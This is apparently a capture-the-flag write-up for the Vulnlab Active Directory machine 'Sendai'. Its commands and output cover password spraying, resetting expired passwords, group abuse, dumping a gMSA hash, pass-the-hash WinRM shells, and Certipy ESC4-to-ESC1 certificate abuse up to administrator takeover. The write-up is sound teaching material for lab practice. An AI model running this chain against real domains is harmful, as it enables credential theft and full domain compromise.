Sendai is a medium Active Directory machine from Vulnlab, created by xct. This box is a retiring hiring challenge offering multiple paths for exploitation. The path I’ve taken involves resetting a user password with STATUS_PASSWORD_MUST_CHANGE status, abusing GenericALL permissions, and reading the gMSA password. For privilege escalation, we exploit both ESC4 and ESC1.

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server

From the Nmap scan, we can see that we are dealing with a Domain Controller, as indicated by the presence of DNS, Kerberos and LDAP.

SMB

Let’s start by enumerating SMB using CrackMapExec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜  sendai cme smb 10.10.79.192 -u 'meow' -p '' --users --shares
SMB 10.10.79.192 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB 10.10.79.192 445 DC [+] sendai.vl\meow:
SMB 10.10.79.192 445 DC [*] Enumerated shares
SMB 10.10.79.192 445 DC Share Permissions Remark
SMB 10.10.79.192 445 DC ----- ----------- ------
SMB 10.10.79.192 445 DC ADMIN$ Remote Admin
SMB 10.10.79.192 445 DC C$ Default share
SMB 10.10.79.192 445 DC config
SMB 10.10.79.192 445 DC IPC$ READ Remote IPC
SMB 10.10.79.192 445 DC NETLOGON Logon server share
SMB 10.10.79.192 445 DC sendai READ company share
SMB 10.10.79.192 445 DC SYSVOL Logon server share
SMB 10.10.79.192 445 DC Users READ
SMB 10.10.79.192 445 DC [*] Trying to dump local users with SAMRPC protocol

As shown, we can list shares with any user we enter and a null password. Let’s try to get a list of usernames using the --rid-brute flag

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  sendai cme smb 10.10.79.192 -u 'meow' -p '' --rid-brute
SMB 10.10.79.192 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB 10.10.79.192 445 DC [+] sendai.vl\meow:
SMB 10.10.79.192 445 DC 498: SENDAI\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.79.192 445 DC 500: SENDAI\Administrator (SidTypeUser)
SMB 10.10.79.192 445 DC 501: SENDAI\Guest (SidTypeUser)
SMB 10.10.79.192 445 DC 502: SENDAI\krbtgt (SidTypeUser)
[SNIP]
SMB 10.10.79.192 445 DC 1107: SENDAI\staff (SidTypeGroup)
SMB 10.10.79.192 445 DC 1108: SENDAI\Dorothy.Jones (SidTypeUser)
SMB 10.10.79.192 445 DC 1109: SENDAI\Kerry.Robinson (SidTypeUser)
SMB 10.10.79.192 445 DC 1110: SENDAI\Naomi.Gardner (SidTypeUser)
[SNIP]

That worked, and we successfully got a list of all the users in the domain. Let’s get just the users and put them in a new file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  sendai cat all.txt | cut -d '\' -f2 | awk '{print $1}' | tee users.txt
Administrator
sqlsvc
websvc
staff
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
[SNIP]

We can attempt to spray a null password with this list of usernames

1
2
3
4
5
6
7
8
9
10
11
12
➜  sendai cme smb sendai.vl -u users.txt -p '' --continue-on-success
SMB 10.10.79.192 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
...
SMB 10.10.79.192 445 DC [+] sendai.vl\staff:
...
SMB 10.10.79.192 445 DC [-] sendai.vl\Elliot.Yates: STATUS_PASSWORD_MUST_CHANGE
...
SMB 10.10.79.192 445 DC [-] sendai.vl\Thomas.Powell: STATUS_PASSWORD_MUST_CHANGE
SMB 10.10.79.192 445 DC [+] sendai.vl\ca-operators:
SMB 10.10.79.192 445 DC [+] sendai.vl\admsvc:
...
SMB 10.10.79.192 445 DC [+] sendai.vl\support:

Password Change

We notice something interesting, the users Elliot and Thomas both have STATUS_PASSWORD_MUST_CHANGE. A quick google search led us to this post here that explains how to reset the password Resetting an Expired Password Remotely. I also found this writeup very helpful Pretending to Be smbpasswd with impacket because we can just use impacket-smbpasswd and set the new password. For this, we can use the following command:

1
2
3
4
5
6
7
8
9
10
➜  sendai impacket-smbpasswd -newpass Passw0rd@ 'Elliot.Yates':@10.10.79.192
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

===============================================================================
Warning: This functionality will be deprecated in the next Impacket version
===============================================================================

Current SMB password:
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

Here, I set the password Passw0rd@ for the user Elliot.Yates. If it asks for the current SMB password we can just press enter for a blank password. Now that we successfully reset Elliot’s password, we can enumerate further

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  sendai cme smb sendai.vl -u Elliot.Yates -p 'Passw0rd@' --shares
SMB 10.10.79.192 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB 10.10.79.192 445 DC [+] sendai.vl\Elliot.Yates:Passw0rd@
SMB 10.10.79.192 445 DC [*] Enumerated shares
SMB 10.10.79.192 445 DC Share Permissions Remark
SMB 10.10.79.192 445 DC ----- ----------- ------
SMB 10.10.79.192 445 DC ADMIN$ Remote Admin
SMB 10.10.79.192 445 DC C$ Default share
SMB 10.10.79.192 445 DC config READ,WRITE
SMB 10.10.79.192 445 DC IPC$ READ Remote IPC
SMB 10.10.79.192 445 DC NETLOGON READ Logon server share
SMB 10.10.79.192 445 DC sendai READ,WRITE company share
SMB 10.10.79.192 445 DC SYSVOL READ Logon server share
SMB 10.10.79.192 445 DC Users READ

Elliot has read and write access to the config share, let’s use smbclient to connect and explore it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜  sendai impacket-smbclient sendai.vl/'Elliot.Yates':'Passw0rd@'@10.10.79.192
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
config
IPC$
NETLOGON
sendai
SYSVOL
Users
# use config
# ls
drw-rw-rw- 0 Sat Mar 16 12:46:35 2024 .
drw-rw-rw- 0 Wed Jul 19 10:11:25 2023 ..
-rw-rw-rw- 78 Tue Jul 11 08:57:10 2023 .sqlconfig
# get .sqlconfig
#

Great, we obtained the MSSQL credentials for the user sqlsvc. However, from the Nmap scan, we don’t see MSSQL

1
2
➜  sendai cat .sqlconfig
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=<REDACTED>;

GenericALL

Let’s use bloodhound to get a better view of the network and what permissions our user has. I prefer to use BloodHound from CrackMapExec since it was integrated

1
➜  sendai cme ldap sendai.vl -u 'Elliot.Yates' -p 'Passw0rd@' --bloodhound -ns 10.10.79.192 -c all

From BloodHound we can see that our user Elliot is a member of the Support group, which has GenericAll privileges to the OU ADMSVC@SENDAI.VL. So We can simply add our user to the ADMSVC group

1
2
➜  sendai net rpc group addmem "ADMSVC" Elliot.Yates -U sendai.vl/Elliot.Yates -S sendai.vl
Password for [SENDAI.VL\Elliot.Yates]:

gMSA Password

Now that we are a member of the ADMSVC group, we can retrieve the password for the GMSA MGTSVC, since MGTSVC is a Group Managed Service Account (the path is shown in BloodHound).
To do this, let’s use the --gmsa option in CrackMapExec

1
2
3
4
5
➜  sendai cme ldap sendai.vl -u Elliot.Yates -p Passw0rd@ --gmsa
SMB 10.10.79.192 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
LDAP 10.10.79.192 636 DC [+] sendai.vl\Elliot.Yates:Passw0rd@
LDAP 10.10.79.192 636 DC [*] Getting GMSA Passwords
LDAP 10.10.79.192 636 DC Account: mgtsvc$ NTLM: <REDACTED>

Indeed, we were able to retrieve the NTLM of the mgtsvc$ account. Another tool we can use to get the gMSA password is gMSADumper

1
2
3
4
5
6
➜  sendai python3 ~/tools/windows/gMSADumper/gMSADumper.py -u Elliot.Yates -p Passw0rd@ -d sendai.vl
Users or groups who can read password for mgtsvc$:
> admsvc
mgtsvc$:::<REDACTED>
mgtsvc$:aes256-cts-hmac-sha1-96:be5110d4326bd89ee62efc63fd14bb7f9694a03fe03be55ec567a6adb120b3bc
mgtsvc$:aes128-cts-hmac-sha1-96:b99eaede7bb323c5a023dd6256feaf59

Now that we have the NTLM hash, let’s connect via winrm

1
2
3
4
➜  sendai cme winrm sendai.vl -u 'mgtsvc$' -H <REDACTED>
SMB 10.10.79.192 5985 DC [*] Windows 10.0 Build 20348 (name:DC) (domain:sendai.vl)
HTTP 10.10.79.192 5985 DC [*] http://10.10.79.192:5985/wsman
HTTP 10.10.79.192 5985 DC [+] sendai.vl\mgtsvc$:<REDACTED> (Pwn3d!)

We have obtained the user flag 🚩🐈

1
2
3
4
5
6
7
8
9
10
11
➜  sendai evil-winrm -i sendai.vl -u 'mgtsvc$' -H <REDACTED>

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mgtsvc$\Documents> cat C:\user.txt
VL{REDACTED}

PrivEsc

Let’s start our enumeration by running the PrivescCheck.ps1 script

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\temp> upload PrivescCheck.ps1

Info: Uploading /home/serioton/vulnlab/sendai/writeup/sendai/PrivescCheck.ps1 to C:\temp\PrivescCheck.ps1

Data: 220672 bytes of 220672 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\temp>
*Evil-WinRM* PS C:\temp> . .\PrivescCheck.ps1; Invoke-PrivescCheck

It discovered the credentials of the user clifford.davey

1
2
3
4
5
6
7
...
Name : Support
DisplayName :
ImagePath : C:\WINDOWS\helpdesk.exe -u clifford.davey -p <REDACTED> -k netsvcs
User : LocalSystem
StartMode : Automatic
...

ADCS

Next, let’s do some ADCS enumeration using the ADCS module from CrackMapExec

1
2
3
4
5
6
7
➜  sendai cme ldap sendai.vl -u Elliot.Yates -p 'Passw0rd@' -M ADCS
SMB 10.10.79.192 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
LDAP 10.10.79.192 389 DC [+] sendai.vl\Elliot.Yates:Passw0rd@
ADCS 10.10.79.192 389 DC [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS Found PKI Enrollment Server: dc.sendai.vl
ADCS Found CN: sendai-DC-CA
ADCS Found PKI Enrollment WebService: https://dc.sendai.vl/sendai-DC-CA_CES_Kerberos/service.svc/CES

As observed, ADCS is being utilized on the machine. We can then use Certipy with the find command to identify templates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜  sendai certipy find -u 'clifford.davey' -p '<REDACTED>' -dc-ip 10.10.79.192 -dns-tcp -ns 10.10.79.192 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Authenticating to LDAP server
[+] Bound to ldaps://10.10.79.192:636 - ssl
[+] Default path: DC=sendai,DC=vl
[+] Configuration path: CN=Configuration,DC=sendai,DC=vl
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[+] Trying to resolve 'dc.sendai.vl' at '10.10.79.192'
[*] Trying to get CA configuration for 'sendai-DC-CA' via CSRA
[+] Trying to get DCOM connection for: 10.10.79.192
[!] Got error while trying to get CA configuration for 'sendai-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sendai-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'dc.sendai.vl' (10.10.79.192)
[*] Got CA configuration for 'sendai-DC-CA'
[+] Resolved 'dc.sendai.vl' from cache: 10.10.79.192
[+] Connecting to 10.10.79.192:80
[*] Saved BloodHound data to '20240317113517_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[+] Adding Domain Computers to list of current user's SIDs
[*] Saved text output to '20240317113517_Certipy.txt'
[*] Saved JSON output to '20240317113517_Certipy.json'

ESC4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                                        SENDAI.VL\Enterprise Admins
SENDAI.VL\Administrator
SENDAI.VL\ca-operators
Write Property Principals : SENDAI.VL\Domain Admins
SENDAI.VL\Enterprise Admins
SENDAI.VL\Administrator
SENDAI.VL\ca-operators
[!] Vulnerabilities
ESC4 : 'SENDAI.VL\\ca-operators' has dangerous permissions
1
Template Name : KerberosAuthentication
Display Name : Kerberos Authentication
Certificate Authorities : sendai-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False

From the Certipy output, we can see that the SendaiComputer template is vulnerable to ESC4. We can refer to this HackTricks article Vulnerable Certificate Template Access Control - ESC4 or this YouTube video AD CS ESC4 Privilege Escalation Tutorial which explains how to abuse ESC4.

Abuse

The first step is to make the certificate vulnerable to ESC1

1
2
3
4
5
6
➜  sendai certipy template -username clifford.davey@sendai.vl -password <REDACTED> -template SendaiComputer -save-old -dc-ip 10.10.79.192
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'SendaiComputer' to 'SendaiComputer.json'
[*] Updating certificate template 'SendaiComputer'
[*] Successfully updated 'SendaiComputer'

Now, if we run the Certipy find command again, it will indicate that the template is vulnerable to ESC1. ESC2, ESC3 and ESC4

1
2
3
4
5
6
7
8
9
10
11
12
...
Owner : SENDAI.VL\Administrator
Full Control Principals : SENDAI.VL\Authenticated Users
Write Owner Principals : SENDAI.VL\Authenticated Users
Write Dacl Principals : SENDAI.VL\Authenticated Users
Write Property Principals : SENDAI.VL\Authenticated Users
[!] Vulnerabilities
ESC1 : 'SENDAI.VL\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'SENDAI.VL\\Authenticated Users' can enroll and template can be used for any purpose
ESC3 : 'SENDAI.VL\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
ESC4 : 'SENDAI.VL\\Authenticated Users' has dangerous permissions
...

ESC1

1
2
3
4
5
6
7
8
9
➜  sendai certipy req -username clifford.davey@sendai.vl -password <REDACTED> -ca sendai-DC-CA -target dc.sendai.vl -template SendaiComputer -upn administrator@sendai.vl
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with UPN 'administrator@sendai.vl'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

That was successful, we got the administrator.pfx file, which we can use to obtain a TGT and the NTLM hash for the administrator user

1
2
3
4
5
6
7
8
9
➜  sendai certipy auth -pfx administrator.pfx -domain sendai.vl -username administrator -dc-ip 10.10.79.192
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sendai.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sendai.vl': <REDACTED>:<REDACTED>

With the NTLM hash for the administrator, we will connect over winrm and grab the root flag 🚩🐈

1
2
3
4
5
6
7
8
9
10
11
➜  sendai evil-winrm -i sendai.vl -u administrator -H <REDACTED>

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ..\desktop\root.txt
VL{REDACTED}

That concludes this box. I hope you learned something new! 🐱